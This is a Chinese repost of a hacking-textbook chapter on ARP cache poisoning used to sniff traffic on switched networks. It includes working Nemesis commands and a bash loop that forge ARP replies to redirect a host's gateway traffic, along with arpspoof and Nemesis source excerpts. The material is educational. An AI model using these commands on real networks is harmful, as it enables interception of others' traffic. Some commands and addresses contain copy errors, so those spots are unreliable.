数据包嗅探



数据包嗅探

 

在交换网络环境中,根据数据包的目的地MAC地址,只将它们发送到其目的端口。这需要更加智能化的硬件,这些硬件能够创建并维护关联MAC地址和特定端口的表,依赖于该表将设备连接到每个端口。


交换网络环境的好处是只将数据包发送给目的设备,因此混杂模式将不能窃听任何额外的数据包。但即使是在交换环境中,仍有巧妙的方法窃听其他设备的数据包;只不过它们更复杂一些罢了。为了发现此类的hack,必须检查协议的细节然后将它们组合。


网络通信中能被操纵而得到有用结果的一个重要元素是源地址。这些协议中并没有措施来保证数据包中的源地址确实是源机器的地址。在数据包中伪造源地址的行为称为欺骗( spoofing)。诡计包中欺骗的加入使得hack的发生率大大增加,因为大多数系统都认为源地赶超有效的。


在交换网络中,欺骗是窃听数据包的第一步。另外两个令人感兴趣的细节在ARP中。首先,携带IP地址的ARP应答到达时,若该IP地址在ARP的缓存中已经存在,那么接收系统将使用在应答中找到的新信息覆盖原先的MAC地址信息(除非ARP缓存中将这个入口显式标记为永久)。其次,没有保留有关ARP通信的状态信息,因为这需要额外的内存并且会使原本打算简单的协议复杂化。这意味着即使系统没有发出ARP请求,它也会接受ARP应答。


这三个细节如果利用恰当,就会允许攻击者在交换网络上利用一种被称为ARP重定向(ARP redirection)的技术窃听网络流量。攻击者向特定设备发送伪造的ARP应答,从而使得ARP缓存记录被攻击者的数据覆盖。这项技术称为ARP缓存中毒(ARP cachepoisoning)。为了窃听两个点AB之间的网络流量,攻击者需要感染AARP缓存,使A相信BIP地址在攻击者的MAC地址上,并且也感染BARP缓存,使B相信AIP地址也在攻击者的MAC地址上。然后,攻击者的机器只需要将这些数据包转发到合适的最终目的地。之后,AB之间所有的流量仍被传递,但所有流量都会流过攻击者的机器。


因为AB在数据包中包装自己的以太网头是以各自的ARP缓存为基础的,所以A打算与B进行的IP流量实际上发送到了攻击者的MAC地址,反之亦然。交换设备仅仅过滤基于MAC地址的流量,因此交换设备将会按它被设计的方式进行工作,以攻击者的MAC地址为目的地,将ABIP流量发送到攻击者的端口。然后,攻击者用正确的以太网头重新包装IP数据包并且将它们发送回交换设备,在交换设备上它们最终被发送到正确的目的地。交换设备工作正常,使受害者的机器被欺骗,从而重定向它们的流量通过攻击者的机器。

由于超时的原因,受害者的机器将定期地发送真实的ARP请求并收到作为响应的真实的ARP应答。为了保持重定向攻击,攻击者必须保持受害者机器的ARP缓存被感染。一种简单方式是只需以固定的时间间隔向AB发送伪造ARP应答——例如,每10秒发送一次。

网关( gateway)是一种将本地网络的所有流量路由到Intemet的系统。受害者机器之一是默认网关时,ARP重定向就特别有趣了,因为在默认网关和另一个系统之间的流量是该系统的Intemet流量。例如,如果地址为192.168.0.118的机器与地址为192.168.0.1的网关通过交换设备进行通信,流量将会被MAC地址限制。这意味着正常情况下,该流量不能被窃听,即便是在混杂模式下。为了窃听该流量,流量必须被重定向。


要想重定向流量,首先需要确定192.168.0.118192.168.0.1MAC地址。这可以通过ping这些主机来实现,因为任何IP连接尝试都将使用ARP。如果运行嗅探器程序,就会看到ARP通信,但是操作系统会对作为结果产生的IP[MAC地址对进行缓存。


reader@hacking:~/booksrc $ ping -c 1 -w 1192.168.0.1

PING 192.168.0.1 (192.168.0.1): 56 octetsdata

64 octets from 192.168.0.1: icmp_seq=0ttl=64 time=0.4 ms

--- 192.168.0.1 ping statistics ---

1 packets transmitted, 1 packets received,0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ ping -c 1 -w 1192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56octets data

64 octets from 192.168.0.118: icmp_seq=0ttl=128 time=0.4 ms

--- 192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received,0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ arp -na

? (192.168.0.1) at 00:50:18:00:0F:01[ether] on eth0

? (192.168.0.118) at 00:C0:F0:79:3D:30[ether] on eth0

reader@hacking:~/booksrc $ ifconfig eth0

eth0     Link encap:Ethernet  HWaddr00:00:AD:D1:C7:ED

         inet addr:192.168.0.193  Bcast:192.168.0.255  Mask:255.255.255.0

         UP BROADCAST NOTRAILERS RUNNING MTU:1500  Metric:1

         RX packets:4153 errors:0 dropped:0 overruns:0 frame:0

         TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0

         collisions:0 txqueuelen:100

         RX bytes:601686 (587.5 Kb)  TXbytes:288567 (281.8 Kb)

         Interrupt:9 Base address:0xc000

 

Ping操作之后,192.168.0.118192.168.0.1MAC地址就在攻击者的ARP缓存中了。以这种方式,数据包在重定向到攻击者的机器后就能抵达它们的最终目的地。如果IP转发能力已经编译到内核程序中,那么我们唯一需要做的就是定期发送一些伪造ARP应答。需要将192.168.0.1MAC地址00:00:AD:D1:C7:ED告诉192.168.0.118,还需告知192.168.0.1,192.168.0.118MAC地址也是OO:OO:AD:D1:C7:ED。可以使用一个名为Nemesis的命令行数据包注入工具将这些伪造的数据包注入。Nemesis最初是由Mark Grimes编写的一套工具,但在最近的1.4版本中,其功能已经被新开发维护者JefFNathan组合为一个单一实用工具。Nemesis的源代码在LiveCD/usr/src/nemesis-1.4/文件夹中,而且已经将它生成并安装好了。

reader@hacking:~/booksrc $ nemesis

NEMESIS -=- The NEMESIS Project Version 1.4(Build 26)

NEMESIS Usage:

 nemesis [mode] [options]

NEMESIS modes:

  arp

  dns

 ethernet

  icmp

 igmp

  ip

 ospf (currently non-functional)

  rip

  tcp

  udp

NEMESIS options:

  Todisplay options, specify a mode with the option "help".

reader@hacking:~/booksrc $ nemesis arp help

ARP/RARP Packet Injection -=- The NEMESISProject Version 1.4 (Build 26)

ARP/RARP Usage:

  arp[-v (verbose)] [options]

ARP/RARP Options:

  -S<Source IP address>

  -D<Destination IP address>

  -h<Sender MAC address within ARP frame>

  -m<Target MAC address within ARP frame>

  -s<Solaris style ARP requests with target hardware addess set to broadcast>

  -r({ARP,RARP} REPLY enable)

  -R(RARP enable)

  -P<Payload file>

Data Link Options:

  -d<Ethernet device name>

  -H<Source MAC address>

  -M<Destination MAC address>

You must define a Source and Destination IPaddress.

 

reader@hacking:~/booksrc $ sudo nemesis arp-v -r -d eth0 -S 192.168.0.1 -D

192.168.0.118 -h 00:00:AD:D1:C7:ED -m00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -

M 00:C0:F0:79:3D:30

ARP/RARP PacketInjection -=- The NEMESIS Project Version 1.4 (Build26)

               [MAC] 00:00:AD:D1:C7:ED >00:C0:F0:79:3D:30

    [Ethernet type] ARP (0x0806)

 [Protocol addr:IP] 192.168.0.1 > 192.168.0.118

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED >00:C0:F0:79:3D:30

       [ARP opcode] Reply

 [ARP hardware fmt] Ethernet (1)

 [ARP proto format] IP (0x0800)

 [ARP protocol len] 6

 [ARP hardware len] 4

Wrote 42 byte unicast ARP request packetthrough linktype DLT_EN10MB

ARP Packet Injected

reader@hacking:~/booksrc $ sudo nemesis arp-v -r -d eth0 -S 192.168.0.118 -D

192.168.0.1 -h  00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESISProject Version 1.4 (Build 26)

               [MAC] 00:00:AD:D1:C7:ED >00:50:18:00:0F:01

    [Ethernet type] ARP (0x0806)

 [Protocol addr:IP] 192.168.0.118 > 192.168.0.1

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED >00:50:18:00:0F:01

       [ARP opcode] Reply

 [ARP hardware fmt] Ethernet (1)

 [ARP proto format] IP (0x0800)

 [ARP protocol len] 6

 [ARP hardware len] 4

Wrote 42 byte unicast ARP request packetthrough linktype DLT_EN10MB.

ARP Packet Injected


这两个命令伪造从192.168.0.1192.168.0.118ARP应答,反之亦然。它们都声明自己的MAC地址是攻击者的MAC地址OO:OO:AD:D1:C7:ED。如果这些命令每10秒种重复一次,这些伪造的ARP应答将会继续使ARP缓存被感染并且使流量重定向。标准BASH shell允许使用我们熟悉的控制流语句将命令编写成脚本。下面使用了一个简单的BASH shellwhile循环来实现永久循环,每10秒发送两个用于感染的ARP应答。

reader@hacking:~/booksrc $ while true

> do

> sudo nemesis arp -v -r -d eth0 -S192.168.0.1 -D 192.168.0.118 -h

00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H00:00:AD:D1:C7:ED -M

00:C0:F0:79:3D:30

> sudo nemesisarp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h

00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

> echo "Redirecting..."

> sleep 10

> done

 

ARP/RARP PacketInjection -=- The NEMESIS Project Version 1.4 (Build 26)

 

               [MAC] 00:00:AD:D1:C7:ED >00:C0:F0:79:3D:30

    [Ethernet type] ARP (0x0806)

 

 [Protocol addr:IP] 192.168.0.1 > 192.168.0.118

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED >00:C0:F0:79:3D:30

       [ARP opcode] Reply

 [ARP hardware fmt] Ethernet (1)

 [ARP proto format] IP (0x0800)

 [ARP protocol len] 6

 [ARP hardware len] 4

Wrote 42 byte unicast ARP request packetthrough linktype DLT_EN10MB.

 

ARP Packet Injected

 

ARP/RARP Packet Injection -=- The NEMESISProject Version 1.4 (Build 26)

 

               [MAC] 00:00:AD:D1:C7:ED >00:50:18:00:0F:01

    [Ethernet type] ARP (0x0806)

 

 [Protocol addr:IP] 192.168.0.118 > 192.168.0.1

 [Hardware addr:MAC] 00:00:AD:D1:C7:ED >00:50:18:00:0F:01

       [ARP opcode] Reply

 [ARP hardware fmt] Ethernet (1)

 [ARP proto format] IP (0x0800)

 [ARP protocol len] 6

 [ARP hardware len] 4

Wrote 42 byte unicast ARP request packetthrough linktype DLT_EN10MB.

ARP Packet Injected

Redirecting...


可以看到将像Nemesis这样简单的程序和标准BASH shell一起使用可以快速实现网络漏洞发掘。Nemesis使用了一个名为libnetC语言库制作伪造数据包并将它们注入。与libpcap类似,这个库使用原始套接字,并且利用一个标准化接口消除了不同平台之间的不兼容性。libnet也提供了几个方便的函数来处理网络数据包,例如生成校验数字。


libnet库提供了简单、统一的API来制作并注入网络数据包。该库的文档资料齐全,并且它的函数具有描述性名称。在高级语言层次上查看Nemesis的源代码会发现用libnet来制作ARP数据包原来如此简单。源文件nemesis-arp.c包含几个制作和注入arp数据包的函数,对于数据包报头信息,它使用了定义为静态的数据结构。下面显示的在nemesis.c中调用的函数nemesis_arp()用于创建并注入一个ARP数据包。

static ETHERhdretherhdr;

static ARPhdrarphdr;

...

void nemesis_arp(int argc, char **argv)

{

   const char *module= "ARP/RARP PacketInjection";

   nemesis_maketitle(title, module, version);

   if (argc > 1 && !strncmp(argv[1], "help", 4))

       arp_usage(argv[0]);

    arp_initdata();

   arp_cmdline(argc, argv);

   arp_validatedata();

   arp_verbose();

   if (got_payload)

    {

       if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,

                    (constu_int32_t)PAYLOADMODE) < 0)

           arp_exit(1);

    }

    if (buildarp(&etherhdr, &arphdr,&pd, device, reply) < 0)

    {

       printf("\n%s Injection Failure\n", (rarp == 0 ? "ARP": "RARP"));

       arp_exit(1);

    }

   else

    {

       printf("\n%s Packet Injected\n", (rarp == 0 ? "ARP": "RARP"));

       arp_exit(0);

    }

}


在文件nemesis.h中,将结构ETHERhdrARPhdr定义成了现有的libnet数据结构的别名。在C语言中,typedef用于将一个符号定义为一种数据类型的别名。

nemesis.h片断

typedef struct libnet_arp_hdr ARPhdr;

typedef struct libnet_as_lsa_hdr ASLSAhdr;

typedef struct libnet_auth_hdr AUTHhdr;

typedef struct libnet_dbd_hdr DBDhdr;

typedef struct libnet_dns_hdr DNShdr;

typedef struct libnet_ethernet_hdr ETHERhdr;

typedef struct libnet_icmp_hdr ICMPhdr;

typedef struct libnet_igmp_hdr IGMPhdr;

typedef struct libnet_ip_hdr IPhdr;

 

函数nemesis_arp()从这个文件中调用了一连串的其他函数:arp_initdata()arp_cmdline()arp_validatedata()arp_verbose()。您也许会猜测这些函数的功能是初始化数据、处理命令行参数、验证数据和完成某种详细报告。函数arp_initdata()正是实现这种功能的,它在声明为静态的数据结构中初始化数值。


下面显示的函数arp_initdata()ARP数据包的报头结构的各元素设置为合适的值。

nemesis-arp.c片断

static void arp_initdata(void)

{

   /* defaults */

   etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */

   memset(etherhdr.ether_shost, 0, 6);  /* Ethernet source address */

   memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet destination address*/

    arphdr.ar_op = ARPOP_REQUEST;         /* ARP opcode: request */

   arphdr.ar_hrd = ARPHRD_ETHER;        /* hardware format: Ethernet */

   arphdr.ar_pro = ETHERTYPE_IP;        /* protocol format: IP */

   arphdr.ar_hln = 6;                   /* 6 byte hardware addresses */

   arphdr.ar_pln = 4;                   /* 4 byte protocol addresses */

   memset(arphdr.ar_sha, 0, 6);         /* ARP frame sender address */

   memset(arphdr.ar_spa, 0, 4);          /* ARP sender protocol (IP) addr */

   memset(arphdr.ar_tha, 0, 6);         /* ARP frame target address */

   memset(arphdr.ar_tpa, 0, 4);         /* ARP target protocol (IP) addr */

   pd.file_mem = NULL;

   pd.file_s = 0;

   return;

}


最后,函数nemesis_arp()使用指向报头数据结构的指针作为参数调用函数buildarp()。对从buildarp()返回值的判断在这里处理,buildarp()创建了数据包并将其注入。可以在另一个源文件nemesis-proto_arp.c中找到这个函数。

nemesis proto_arp.c节选

int buildarp(ETHERhdr *eth, ARPhdr *arp,FileData *pd, char *device,

       int reply)

{

   int n = 0;

   u_int32_t arp_packetlen;

   static u_int8_t *pkt;

   struct libnet_link_int *l2 = NULL;

   /* validation tests */

   if (pd->file_mem == NULL)

       pd->file_s = 0;

   arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;

#ifdef DEBUG

   printf("DEBUG: ARP packet length %u.\n", arp_packetlen);

   printf("DEBUG: ARP payload size %u.\n", pd->file_s);

#endif

   if ((l2 = libnet_open_link_interface(device, errbuf) ) == NULL)

    {

        nemesis_device_failure(INJECTION_LINK,(const char *)device);

       return -1;

    }

   if (libnet_init_packet(arp_packetlen, &pkt)  == -1)

    {

       fprintf(stderr, "ERROR: Unable to allocate packet memory.\n");

       return -1;

    }

    libnet_build_ethernet(eth->ether_dhost,eth->ether_shost, eth->ether_type,

           NULL, 0, pkt);

   libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,arp->ar_pln,

           arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha,arp->ar_tpa,

            pd->file_mem, pd->file_s, pkt +LIBNET_ETH_H);

 

    n= libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +

                LIBNET_ARP_H + pd->file_s);

   if (verbose == 2)

       nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);

   if (verbose == 3)

       nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);

   if (n != arp_packetlen)

    {

       fprintf(stderr, "ERROR: Incomplete packetinjection.  Only "

                "wrote %d bytes.\n",n);

    }

   else

    {

       if (verbose)

       {

           if (memcmp(eth->ether_dhost, (void *)&one, 6))

           {

                printf("Wrote %d byteunicast ARP request packet through "

                        "linktype%s.\n", n,

                       nemesis_lookup_linktype(l2->linktype));

           }

           else

           {

                printf("Wrote %d byte %spacket through linktype %s.\n", n,

 

                        (eth->ether_type ==ETHERTYPE_ARP ? "ARP" : "RARP"),

                        nemesis_lookup_linktype(l2->linktype));

           }

       }

    }

    libnet_destroy_packet(&pkt);

   if (l2 != NULL)

       libnet_close_link_interface(l2);

   return (n);

}

在高级语言的层次上,您应当能够读懂这些函数。利用libnet函数,它打开了一个链接接口并为数据包初始化内存。然后,它利用以太网报头数据结构中的元素创建了以太网层,然后对ARP层进行同样的处理。接下来,它通过向设备写入数据包将其注入,最后通过销毀数据包并关闭接口进行清理。为了清楚起见,—下面列出了libnet手册中这些函数的文档资料。

Libnet手册节选

libnet_open_link_interface()opens a low-level packet interface. This is

required to write link layer frames.Supplied is a u_char pointer to the

interface device name and a u_char pointerto an error buffer. Returned is a

filled in libnet_link_int struct or NULL onerror.

libnet_init_packet()initializes a packet for use. If the size parameter is

omitted (or negative) the library will picka reasonable value for the user

(currently LIBNET_MAX_PACKET). If thememory allocation is successful, the

memory is zeroed and the function returns1. If there is an error, the

function returns -1. Since this functioncalls malloc, you certainly should,

at some point, make a corresponding call todestroy_packet().

libnet_build_ethernet()constructs an ethernet packet. Supplied is the

destination address, source address (as arrays of unsigned characterbytes)

and the ethernet frame type, a pointer toan optional data  payload, the

payload length, and a pointer to a pre-allocated block of memory for the

packet. The ethernet packet type should beone  of the following:

Value               Type

ETHERTYPE_PUP       PUP protocol

ETHERTYPE_IP        IP protocol

ETHERTYPE_ARP       ARP protocol

ETHERTYPE_REVARP    Reverse ARP protocol

ETHERTYPE_VLAN      IEEE VLAN tagging

ETHERTYPE_LOOPBACK  Used to test interfaces

libnet_build_arp()constructs an ARP (Address Resolution Protocol) packet.

Supplied are the following: hardwareaddress type, protocol address type, the

hardware address length, the protocoladdress length, the ARP packet type, the

sender hardware address, the senderprotocol address, the target hardware

address, the target protocol address, thepacket payload, the payload size,

and finally, a pointer to the packet headermemory. Note that this function

only builds ethernet/IP ARP packets, andconsequently the first value should

be ARPHRD_ETHER. The ARP packet type shouldbe one of the following:

ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST,ARPOP_REVREPLY,

ARPOP_INVREQUEST, or ARPOP_INVREPLY.

libnet_destroy_packet()frees the memory associated with the packet.

libnet_close_link_interface()closes an opened low-level packet interface.

Returned is 1 upon success or -1 on error.


利用C语言基本知识、API文档和一般常识,您可以通过研究开源项目进行自学。例如,Dug Song提供了一个名为arpspoof的程序,它包含在dsniff中,用于完成ARP重定向攻击。

arpspoof手册节选

NAME

      arpspoof - intercept packets on a switched LAN

SYNOPSIS

      arpspoof [-i interface] [-t target] host

DESCRIPTION

      arpspoof redirects packets from a target host (or all hosts) on the LAN

      intended for another host on the LAN by forging ARP replies. This is

      an extremely effective way of sniffingtraffic on a switch.

      Kernel IP forwarding (or a userland program which accomplishes the

      same, e.g. fragrouter(8)) must be turned on ahead of time.

OPTIONS

      -i interface

             Specify the interface to use.

      -t target

              Specify a particular host to ARPpoison (if not  specified, all

              hosts on the LAN).

      host   Specify  the host you wish to intercept packets for(usually the

              local gateway).

SEE ALSO

      dsniff(8), fragrouter(8)

AUTHOR

      Dug Song dugsong@monkey.org

这个程序的魔力来自于函数arp_send(),它也使用libnet伪造数据包。您应当能够读懂这个函数的源代码,因为它使用了许多前面已经解释过的libnet函数(在下面以粗体显示)。此外,您也应当熟悉该程序使用的结构和错误缓存。

Arpspoof.c

static struct libnet_link_int *llif;

static struct ether_addr spoof_mac,target_mac;

static in_addr_t spoof_ip, target_ip;

...

int

arp_send(struct libnet_link_int *llif, char*dev,

    int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)

{

   char ebuf[128];

   u_char pkt[60];

   if (sha == NULL &&

       (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {

        return (-1);

    }

   if (spa == 0) {

       if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)

           return (-1);

       spa = htonl(spa); /* XXX */

    }

   if (tha == NULL)

       tha = "\xff\xff\xff\xff\xff\xff";

    libnet_build_ethernet(tha,sha, ETHERTYPE_ARP, NULL, 0, pkt);

   libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,

            op, sha, (u_char *)&spa, tha, (u_char *)&tpa,

            NULL, 0, pkt + ETH_H);

   fprintf(stderr, "%s ",

       ether_ntoa((struct ether_addr *)sha));

   if (op == ARPOP_REQUEST) {

       fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",

           ether_ntoa((struct ether_addr *)tha),

           libnet_host_lookup(tpa, 0),

           libnet_host_lookup(spa, 0));

    }

   else {

       fprintf(stderr, "%s 0806 42: arp reply %s is-at ",

           ether_ntoa((struct ether_addr *)tha),

           libnet_host_lookup(spa, 0));

       fprintf(stderr, "%s\n",

           ether_ntoa((struct ether_addr *)sha));

    }

    return(libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));

}

其余的libnet函数用于获取硬件地址、获取IP地址以及查找主机。这些函数具有描述性的名称,并且在libnet手册中有详细解释。

Libnet手册节选

libnet_get_hwaddr()takes a pointer to a link layer interface struct, a

pointer to the networkdevice name, and an empty buffer to be used in caseof

error. The function returns the MAC addressof the specified interface upon

success or 0 upon error (and errbuf willcontain a reason).

libnet_get_ipaddr()takes a pointer to a link layer interface struct, a

pointer to the network device name, and anempty buffer to be used in case of

error. Upon success the function returnsthe IP address of the specified

interface in host-byteorder or 0 upon error (and errbuf will contain a

reason).

libnet_host_lookup()converts the supplied network-ordered (big-endian) IPv4

address into its human-readablecounterpart. If use_name is 1,

libnet_host_lookup() will attempt toresolve this IP address and return a

hostname, otherwise (or if the lookupfails), the function returns a dotted-

decimal ASCII string.

一旦您学会了如何读懂C语言代码,示例和现存存的程序可以教会您很多东西。像libnetlibpcap这样的程序设计库含有丰富的文档资料,这些资料详细解释了所有细节,而您并不能从源代码中单独将这些细节推测出来。这里的目的是教会您如何从源代码中学习知识,而不是仅仅教会您如何使用一些库。毕竟,有许多其他的库,而且还有许多使用这些库的源程序。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值